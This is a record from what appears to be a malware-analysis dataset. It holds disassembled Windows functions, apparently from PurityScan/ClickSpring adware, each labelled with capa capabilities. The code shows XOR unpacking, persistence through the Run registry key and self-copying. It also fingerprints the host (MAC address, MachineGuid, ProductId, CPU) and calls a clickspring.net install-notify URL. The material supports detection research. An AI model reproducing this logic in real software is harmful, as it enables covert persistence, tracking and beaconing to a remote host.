joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407180
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x4071be
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x4071b6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4071c0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x4071a6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4072a0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x4072b6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x4072d1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x402000
Capabilities:
Access peb ldr_data

Disassembly:
push 0
push 2
push 0x403068
push 0x403053
call dword [sym.imp.Winmm.dll_mciSendStringA]
cmp eax, 0x107
je 0x40201c
ret
mov edi, edi
mov esi, 0x4020c7
mov edi, esi
push 1
push 0x403086
push 1
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateSemaphoreA]
mov edx, eax
pop ebx
mov ecx, 0x3ab
mov al, byte [esi]
sub al, bl
stosb byte es:[edi], al
inc esi
loop 0x402040
push dword fs:[0x30]
mov eax, dword [esp]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
cmp word [eax], 0x5a4d
je 0x402066
xor eax, eax
mov dword [0x403099], eax
add esp, 4
ret

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x401000
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
push 0
lea eax, [ebp - 0x200]
push 2
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jl 0x40106a
lea eax, [ebp - 0x200]
push str.PurityScan
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x200]
pop ecx
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
lea eax, [ebp - 0x200]
push str.PurityScan.lnk
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x200]
push 0x417020
push eax
push dword [ebp + 8]
call fcn.00408e3f
add esp, 0x14
leave
ret

Function at 0x40106c
Capabilities:
Create directory
Get common file path
Query or enumerate registry value
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
push edi
mov edi, dword [ebp + 8]
push str.C:Program_Files
push edi
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp + 8]
pop ecx
mov esi, 0x200
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersion
push 0x80000002
mov dword [ebp - 8], esi
mov dword [ebp - 4], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4010d7
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push edi
push eax
push 0
push str.ProgramFilesDir
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x208]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryA]
push str.PurityScan
push edi
call sub.MSVCRT.dll_strcat
mov esi, dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryA]
pop ecx
pop ecx
push edi
call esi
test eax, eax
jne 0x40111b
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
test eax, eax
jne 0x40111b
lea eax, [ebp - 0x208]
push eax
call esi
and byte [edi], 0
xor al, al
jmp 0x401126
lea eax, [ebp - 0x208]
push eax
call esi
mov al, 1
pop edi
pop esi
leave
ret
Function at 0x40112a
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3104c
call fcn.00409640
push esi
push edi
lea eax, [ebp - 0x30c]
xor edi, edi
push 0x200
push eax
push edi
mov dword [ebp - 0xc], edi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov esi, dword [sym.imp.MSVCRT.dll_fopen]
lea eax, [ebp - 0x30c]
push 0x41709c
push eax
call esi
push 0x417098
mov dword [ebp - 4], eax
push dword [ebp + 8]
call esi
add esp, 0x10
cmp dword [ebp - 4], edi
mov dword [ebp + 8], eax
je 0x40125d
cmp eax, edi
je 0x40125d
mov edi, dword [sym.imp.MSVCRT.dll_fread]
push ebx
push dword [ebp - 4]
mov ebx, 0x30d40
lea eax, [ebp - 0x3104c]
push ebx
push 1
push eax
call edi
mov esi, dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
test eax, eax
mov dword [ebp - 8], eax
jle 0x4011eb
push dword [ebp + 8]
lea eax, [ebp - 0x3104c]
push dword [ebp - 8]
push 1
push eax
call esi
mov eax, dword [ebp - 8]
push dword [ebp - 4]
add dword [ebp - 0xc], eax
lea eax, [ebp - 0x3104c]
push ebx
push 1
push eax
call edi
add esp, 0x20
mov dword [ebp - 8], eax
test eax, eax
jg 0x4011bb
push 2
push 0xffffff00
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_fseek]
push dword [ebp - 4]
mov ebx, 0x100
lea eax, [ebp - 0x10c]
push ebx
push 1
push eax
call edi
add esp, 0x1c
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
push 0x28
xor edx, edx
pop ecx
push dword [ebp + 8]
div ecx
lea eax, [ebp - 0x3104c]
shl edx, 9
push edx
push 1
push eax
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push ebx
push 1
push eax
call esi
push dword [ebp - 4]
mov esi, dword [sym.imp.MSVCRT.dll_fclose]
call esi
push dword [ebp + 8]
call esi
add esp, 0x28
pop ebx
pop edi
pop esi
leave
ret

Function at 0x401261
Capabilities:
Delete registry value
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4012b1
push str.ContentService
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 8]
push 1
push 0
push 0x41a934
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret
Function at 0x4012e6
Capabilities:
Delete file
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
push edi
push dword [ebp + 8]
call fcn.004012bc
mov dword [esp], 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
lea eax, [ebp - 0x200]
push 7
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x200]
push 0x417120
push eax
call sub.MSVCRT.dll_strcat
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
pop ecx
pop ecx
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x400]
push str._swinservs.exe
push eax
call esi
mov edi, dword [sym.imp.MSVCRT.dll_remove]
lea eax, [ebp - 0x400]
push eax
call edi
mov ebx, 0x200
lea eax, [ebp - 0x200]
push ebx
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x1c
lea eax, [ebp - 0x200]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x400]
push str._swinservn.exe
push eax
call esi
lea eax, [ebp - 0x400]
push eax
call edi
add esp, 0x10
test eax, eax
pop edi
pop esi
pop ebx
jl 0x4013ae
mov dword [0x41a924], 1
leave
ret

Function at 0x401564
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
or byte [ebp - 0xa], 0xff
mov byte [ebp - 0x1c], 0xac
mov byte [ebp - 0x1b], 0x90
mov byte [ebp - 0x1a], 0x99
mov byte [ebp - 0x19], 0x8b
mov byte [ebp - 0x18], 0x88
mov byte [ebp - 0x17], 0x9e
mov byte [ebp - 0x16], 0x8d
mov byte [ebp - 0x15], 0x9a
mov byte [ebp - 0x14], 0xa3
mov byte [ebp - 0x13], 0xb5
mov byte [ebp - 0x12], 0x96
mov byte [ebp - 0x11], 0x92
mov byte [ebp - 0x10], 0x92
mov byte [ebp - 0xf], 0x86
mov byte [ebp - 0xe], 0xac
mov byte [ebp - 0xd], 0x8a
mov byte [ebp - 0xc], 0x8d
mov byte [ebp - 0xb], 0x99
xor ecx, ecx
lea eax, [ebp - 0x1c]
mov dl, 0xac
not dl
inc ecx
mov byte [eax], dl
mov dl, byte [ebp + ecx - 0x1c]
lea eax, [ebp + ecx - 0x1c]
cmp dl, 0xff
jne 0x4015bd
lea eax, [ebp - 4]
push ebx
xor ebx, ebx
push eax
push 0xf003f
lea eax, [ebp - 0x1c]
push ebx
push eax
push 0x80000001
mov byte [ebp + ecx - 0x1c], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4015fe
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x401620
cmp dword [0x41a920], ebx
jne 0x401620
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp + 8]
push 0x4013b0
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [0x41a920], eax
pop ebx
leave
ret

Function at 0x401623
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
lea eax, [ebp - 0x400]
push 0x200
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
test eax, eax
je 0x40169d
lea eax, [ebp - 0x400]
push eax
lea eax, [ebp - 0x200]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x200]
push 0x417120
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x200]
push 0x41ab34
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x200]
push 0x41709c
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 0x20
test eax, eax
je 0x40169d
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
push 1
pop eax
leave
ret
xor eax, eax
leave
ret
Function at 0x408f0e
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [ebp + 0xc]
push ebx
lea eax, [ebp + 0xc]
push ebx
push eax
mov byte [edi], bl
push dword [ebp + 8]
xor esi, esi
push ebx
call sub.urlmon.dll_URLOpenBlockingStreamA
cmp eax, ebx
jge 0x408f3b
or eax, 0xffffffff
jmp 0x408fb2
cmp dword [ebp + 0x10], ebx
jle 0x408f6d
mov eax, dword [ebp + 0xc]
lea edx, [ebp + 8]
push edx
mov edx, dword [ebp + 0x10]
mov ecx, dword [eax]
sub edx, esi
push edx
lea edx, [esi + edi]
push edx
push eax
call dword [ecx + 0xc]
cmp eax, ebx
jl 0x408f6d
cmp eax, 1
je 0x408f9f
add esi, dword [ebp + 8]
cmp eax, 1
je 0x408f9f
cmp esi, dword [ebp + 0x10]
jl 0x408f40
cmp eax, 1
je 0x408f9f
cmp eax, ebx
jge 0x408f9f
push esi
push eax
lea eax, [ebp - 0x200]
push str.Download_error__08x__ptr_d_
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x200]
push eax
push ebx
push str.download
call fcn.004088c9
add esp, 0x1c
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp esi, dword [ebp + 0x10]
jge 0x408fb0
mov byte [esi + edi], bl
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40901a
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
push edi
xor ebx, ebx
push dword [0x418df4]
mov byte [ebp - 1], bl
xor esi, esi
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x409073
lea eax, [ebp - 0x10]
push eax
mov eax, dword [str.0602000000240000525341310002000001000100a9959a031b5ae483402a81a758afd66183db74517df889e42099f84cfc8096e783923134ca536e2671208da3e411983dcf92d850deb6be982715ffc845e133a9]
add eax, esi
push 0x418f2c
push eax
call dword [sym.imp.MSVCRT.dll_sscanf]
mov eax, esi
mov cl, byte [ebp - 0x10]
push dword [0x418df4]
cdq
sub eax, edx
sar eax, 1
inc esi
mov byte [ebp + eax - 0x78], cl
inc esi
call sub.MSVCRT.dll_strlen
add esp, 0x10
cmp esi, eax
jb 0x40903a
mov eax, esi
mov edi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
cdq
sub eax, edx
push ebx
mov esi, eax
push 1
push ebx
lea eax, [ebp - 8]
push ebx
push eax
sar esi, 1
call edi
test eax, eax
jne 0x4090b3
push 8
push 1
push ebx
lea eax, [ebp - 8]
push ebx
push eax
call edi
test eax, eax
jne 0x4090b3
push str.CryptAcquireContext
call fcn.00408fb7
pop ecx
xor al, al
jmp 0x40915b
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
lea eax, [ebp - 0x78]
push esi
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x4090d8
push str.CryptImportKey
call fcn.00408fb7
pop ecx
jmp 0x409149
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push 0x8003
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x4090f7
push str.CryptCreateHash
jmp 0x4090d0
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x409112
push str.CryptHashData
jmp 0x409135
push ebx
push ebx
push dword [ebp - 0x14]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptVerifySignatureA]
test eax, eax
je 0x409130
mov byte [ebp - 1], 1
jmp 0x40913b
push str.CryptVerifySignature
call fcn.00408fb7
pop ecx
cmp dword [ebp - 0xc], ebx
je 0x409149
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
cmp dword [ebp - 8], ebx
je 0x409158
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4099d0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0xc]
mov dword [0x41b2b0], eax
mov eax, dword [esp + 0x10]
mov dword [0x41b2b4], ecx
mov dword [0x4191d4], eax
mov eax, dword [0x41b538]
test eax, eax
mov dword [0x4191d8], edx
jne 0x409a20
lea ecx, [esp + 8]
push ecx
push eax
push eax
push 0x4098a0
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [0x41b538], eax
neg eax
sbb eax, eax
neg eax
dec eax
ret
lea edx, [esp + 4]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_GetExitCodeThread]
test eax, eax
je 0x409a43
mov eax, dword [esp + 4]
cmp eax, 0x103
je 0x409a43
neg eax
sbb eax, eax
and al, 0xfe
inc eax
ret
xor eax, eax
ret
Function at 0x40aee0
Capabilities:
Get mac address on windows

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push esi
mov esi, dword [sym.imp.MSVCRT.dll_malloc]
push edi
mov dword [esp + 0x10], 0x280
mov byte [ebp], 0
mov eax, dword [esp + 0x10]
push eax
call esi
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x40af3f
mov ecx, dword [esp + 0x10]
xor eax, eax
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 0x10]
push eax
push ebx
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x40af58
push ebx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
jmp 0x40aefd
push str.GetMA:_could_not_malloc
call fcn.0040b010
add esp, 4
mov byte [ebp], 0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
test eax, eax
je 0x40af76
push eax
push str.getMA:_GetAdaptersInfo
call fcn.0040b1d0
add esp, 8
mov byte [ebp], 0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
xor ebp, ebp
mov cl, byte [0x41a928]
xor edx, edx
mov dword [esp + 0x15], edx
mov byte [esp + 0x14], cl
mov word [esp + 0x19], dx
test ebp, ebp
mov byte [esp + 0x1b], dl
jbe 0x40afab
xor eax, eax
lea ecx, [esp + 0x14]
mov al, byte [ebx + ebp + 0x194]
push eax
push str.__.2X
push ecx
jmp 0x40afbf
xor edx, edx
lea eax, [esp + 0x14]
mov dl, byte [ebx + ebp + 0x194]
push edx
push str._.2X
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [esp + 0x20]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebp
cmp ebp, 6
rep movsb byte es:[edi], byte [esi]
jb 0x40af78
push ebx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x40b030
Capabilities:
Download url
Receive data

Disassembly:
sub esp, 0xa04
lea eax, [esp]
push esi
mov esi, dword [esp + 0xa14]
push 0
push 0
push eax
push 0x400
push esi
push 0
push 0x1300
call dword [sym.imp.KERNEL32.DLL_FormatMessageA]
test eax, eax
je 0x40b10f
push edi
mov edi, dword [esp + 0xa14]
test edi, edi
je 0x40b08d
mov ecx, dword [esp + 0xa10]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push ecx
lea edx, [esp + 0x10]
push 0x419648
push edx
call esi
add esp, 0xc
jmp 0x40b0b0
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xa10]
push eax
push esi
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push ecx
lea edx, [esp + 0x18]
push str._s___d_:__s
push edx
call esi
add esp, 0x14
lea eax, [esp + 0x60c]
lea ecx, [esp + 0xc]
push eax
push ecx
call fcn.0040b120
mov edx, dword [0x41b2b4]
mov ecx, dword [0x41b2b0]
add esp, 8
lea eax, [esp + 0x60c]
push edx
push eax
push edi
push ecx
lea edx, [esp + 0x21c]
push str.http:__www.clickspring.net_install_notify.php_pid_dmodulefpv200result_dmessage_sreferer_d
push edx
call esi
add esp, 0x18
lea eax, [esp + 0x40c]
lea ecx, [esp + 0x20c]
push 0
push 0
push 0x200
push eax
push ecx
push 0
call sub.urlmon.dll_URLDownloadToCacheFileA
pop edi
pop esi
add esp, 0xa04
ret
Function at 0x40b1f0
Capabilities:
Get disk information

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0
push 0
push 0
lea eax, [esp + 0x14]
push 0
push eax
push 0
push 0
push 0x4172cc
mov byte [esi], 0
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationA]
test eax, eax
jne 0x40b228
push str.getHDS:_get_vol_info
call fcn.0040b010
add esp, 4
mov byte [esi], 0
mov ecx, dword [esp + 8]
push ecx
push 0x41964c
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
pop esi
ret

Function at 0x40b240
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x1000c
call fcn.00409640
push esi
mov esi, dword [esp + 0x10014]
mov dword [esp + 8], 0xffff
mov byte [esi], 0
call fcn.0040b310
test eax, eax
je 0x40b271
mov byte [esi], 0
pop esi
add esp, 0x1000c
ret
lea eax, [esp + 4]
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftCryptography
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40b2aa
push eax
push str.getMSCG:_open_crypto_key
call fcn.0040b1d0
add esp, 8
mov byte [esi], 0
pop esi
add esp, 0x1000c
ret
lea ecx, [esp + 8]
lea edx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push str.MachineGuid
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40b2e8
push eax
push str.getMSCG:_query_machine_guid
call fcn.0040b1d0
add esp, 8
mov byte [esi], 0
pop esi
add esp, 0x1000c
ret
lea edx, [esp + 0x10]
push edx
push 0x419648
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
pop esi
add esp, 0x1000c
ret

Function at 0x40b360
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
push ebx
push ebp
push 0x200
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0x200
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebp, dword [esp + 0x1c]
add esp, 4
mov ebx, eax
lea eax, [esp + 8]
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push 0x80000002
mov byte [ebp], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40b3c5
push eax
push str.getWID:_Open_Windows_key
call fcn.0040b1d0
add esp, 8
mov byte [ebp], 0
pop ebp
pop ebx
add esp, 0xc
ret
mov eax, dword [esp + 8]
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x14]
push ebx
push edx
push 0
push str.ProductId
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40b3fe
push eax
push str.getWID:_Get_product_id
call fcn.0040b1d0
add esp, 8
mov byte [ebp], 0
pop ebp
pop ebx
add esp, 0xc
ret
mov ecx, dword [esp + 8]
push esi
push edi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x40b440
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
mov eax, 0x1000c
call fcn.00409640
push ebx
mov ebx, dword [esp + 0x10014]
push ebp
push esi
lea eax, [esp + 0x10]
push edi
push eax
push 0x20019
push 0
mov esi, 0xffff
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
mov dword [esp + 0x24], esi
mov byte [ebx], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40b49a
push eax
push str.getCPUI:_Open_CPU_key
call fcn.0040b1d0
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1000c
ret
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x1c]
push edx
push eax
push 0
push str.Identifier
push ecx
call ebp
test eax, eax
je 0x40b4da
push eax
push str.getCPUI:_Query_identifier
call fcn.0040b1d0
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1000c
ret
lea edx, [esp + 0x1c]
push edx
push str._s_r_n
push ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x18]
push eax
mov eax, dword [esp + 0x18]
push ecx
push edx
push 0
push str.VendorIdentifier
push eax
mov dword [esp + 0x28], esi
call ebp
test eax, eax
je 0x40b52c
push eax
push str.getCPUInfo:_Query_vendor_id
call fcn.0040b1d0
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1000c
ret
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x10], 0xffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x419774
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0040b310
test eax, eax
jne 0x40b602
lea eax, [esp + 0x10]
lea ecx, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0
push str.ProcessorNameString
push eax
call ebp
test eax, eax
je 0x40b5c8
push eax
push str.getCPUI:_Get_processor_name_string
call fcn.0040b1d0
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1000c
ret
lea ecx, [esp + 0x1c]
push 0x419738
push ecx
call dword [sym.imp.MSVCRT.dll__mbsspnp]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1000c
ret